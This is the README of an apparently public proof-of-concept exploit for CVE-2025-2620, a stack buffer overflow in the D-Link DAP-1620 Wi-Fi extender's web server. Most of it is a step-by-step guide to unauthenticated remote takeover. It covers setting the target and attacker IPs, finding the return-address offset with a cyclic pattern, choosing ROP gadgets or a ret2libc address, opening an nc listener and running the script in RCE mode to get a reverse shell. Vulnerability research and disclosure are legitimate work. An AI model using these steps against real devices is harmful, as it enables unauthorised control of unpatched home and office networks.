## https://sploitus.com/exploit?id=2170D022-75BD-5073-A30F-80FF89E79C54
# CVE-2025-2620 Proof-of-Concept Exploit
## Overview
This repository contains an advanced proof-of-concept (PoC) exploit for **CVE-2025-2620**, a critical **stack-based buffer overflow** vulnerability discovered in the **D-Link DAP-1620** router running firmware version **1.03**. This vulnerability allows **unauthenticated remote attackers** to crash the router’s web server (**Denial-of-Service, DoS**) and potentially execute arbitrary code (**Remote Code Execution, RCE**).
The purpose of this project is to **demonstrate exploit development skills**.
## Vulnerability Details
### CVE Description
CVE-2025-2620 affects the **D-Link DAP-1620** router’s **mod_graph_auth_uri_handler** function, specifically within the `/storage` endpoint. The vulnerability is caused by **improper bounds checking**, allowing an attacker to send a large input that exceeds the allocated buffer size, leading to a **stack-based buffer overflow**.
### **Impact**
- **Denial-of-Service (DoS)**: Crashes the router’s HTTP server, making it unresponsive until a reboot.
- **Remote Code Execution (RCE)**: Attackers can **overwrite the return address** and execute arbitrary code on the router’s **MIPS-based architecture**.
- **No Authentication Required**: The vulnerability can be triggered remotely without credentials, increasing its severity.
### **Technical Breakdown**
The vulnerable function processes an authentication parameter (`auth`) from HTTP requests:
```c
void mod_graph_auth_uri_handler(char *input) {
char buffer[512]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process authentication...
}
```
An attacker sending an oversized payload (e.g., 1024+ bytes) **overwrites adjacent memory**, including the **function’s return address**, potentially leading to **code execution**.
### **CVSS v3.1 Score: 9.8 (Critical)**
| Metric | Value |
|------------------------|--------|
| **Attack Vector** | Network |
| **Attack Complexity** | Low |
| **Privileges Required** | None |
| **User Interaction** | None |
| **Confidentiality Impact** | High |
| **Integrity Impact** | High |
| **Availability Impact** | High |
## Affected Devices
The **D-Link DAP-1620** is a **Wi-Fi range extender** with the following specifications:
- **CPU**: Realtek RTL8197F (MIPS 24Kc, ~600 MHz)
- **RAM**: 64 MB
- **Flash**: 16 MB
- **Wi-Fi**: Dual-band 802.11ac
- **Firmware**: **1.03** (confirmed vulnerable)
Other **D-Link routers/extenders** with similar firmware **may also be affected**.
## Disclosure Timeline
- **March 22, 2025** – CVE-2025-2620 published on **NVD/MITRE**.
- **March 22, 2025** – This PoC developed and tested.
- **March 22, 2025** – No official patch from D-Link as of this date.
## PoC Exploit Details
### **Features**
**Combined PoC** – Includes both buffer overflow testing and RCE exploit.
**Stack-based buffer overflow test** – Identifies vulnerable routers.
**Full remote code execution (RCE) exploit** – Spawns a reverse shell.
**Configurable payload size & return address** – Adaptable for different router models.
**Enhanced Debugging** – Logs crash offsets to refine exploit parameters.
## Installation & Usage
### **Step 1: Clone the Repository**
```bash
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc
```
### **Step 2: Install Dependencies**
Ensure you have Python3 and pwntools installed:
```bash
pip install pwntools
```
### **Step 3: Configure the Exploit**
Modify the `CVE-2025-2620_poc.py` script:
#### **Set the router’s IP:**
```python
TARGET_IP = "192.168.0.1" # change to match your router
```
#### **Set your attack machine’s IP:**
```python
ATTACKER_IP = "192.168.0.100" # change to your local IP
ATTACKER_PORT = 4444 # change if needed
```
#### **Adjust buffer size if needed:**
```python
BUFFER_SIZE = 8000 # Increase if the router does not crash
```
#### **Find EIP offset and set return address:**
##### **Step 1: Send a Cyclic Pattern**
Modify the PoC to generate a unique pattern and send it:
```python
MODE = "overflow" # Set to "overflow" to find the offset
```
Run the script:
```bash
python3 CVE-2025-2620_poc.py
```
##### **Step 2: Check the Crash Address**
After crashing the router, check the **segfault address** (`EIP` on x86 or `RA` on MIPS) from:
- **Router logs**
- **Debugger (`gdb`)**
- **`dmesg | grep 'segfault'`**
Look for an address like **0x61616161** (which means part of the cyclic pattern overwrote the return pointer).
##### **Step 3: Find the Offset**
Use `cyclic_find` to locate the exact **offset**:
```python
from pwn import cyclic_find
print(cyclic_find(0x61616161)) # Replace with the crash address
```
This gives the exact **OFFSET** value. Update your PoC:
```python
OFFSET = <FOUND OFFSET> # Replace with the actual number
```
##### **Step 4: Find a Suitable Return Address (`RET_ADDR`)**
- **Option 1: Find a JMP or CALL Gadget**
```bash
ROPgadget --binary vulnerable_binary | grep "jmp"
```
Pick an address that jumps to a **register** (e.g., `jmp $sp` or `jmp $ra`).
- **Option 2: Use a `ret2libc` Address**
Find the address of `system()` in **libc**:
```bash
objdump -D /lib/libc.so.6 | grep "system"
```
Then, use it as `RET_ADDR`:
```python
RET_ADDR = struct.pack("<I", 0xdeadbeef) # Replace with actual address
```
### **Step 4: Start a Listener**
```bash
nc -lvnp 4444
```
### **Step 5: Run the Exploit**
```bash
python3 CVE-2025-2620_poc.py --mode rce
```
**Developed with ❤️ by Otsmane Ahmed**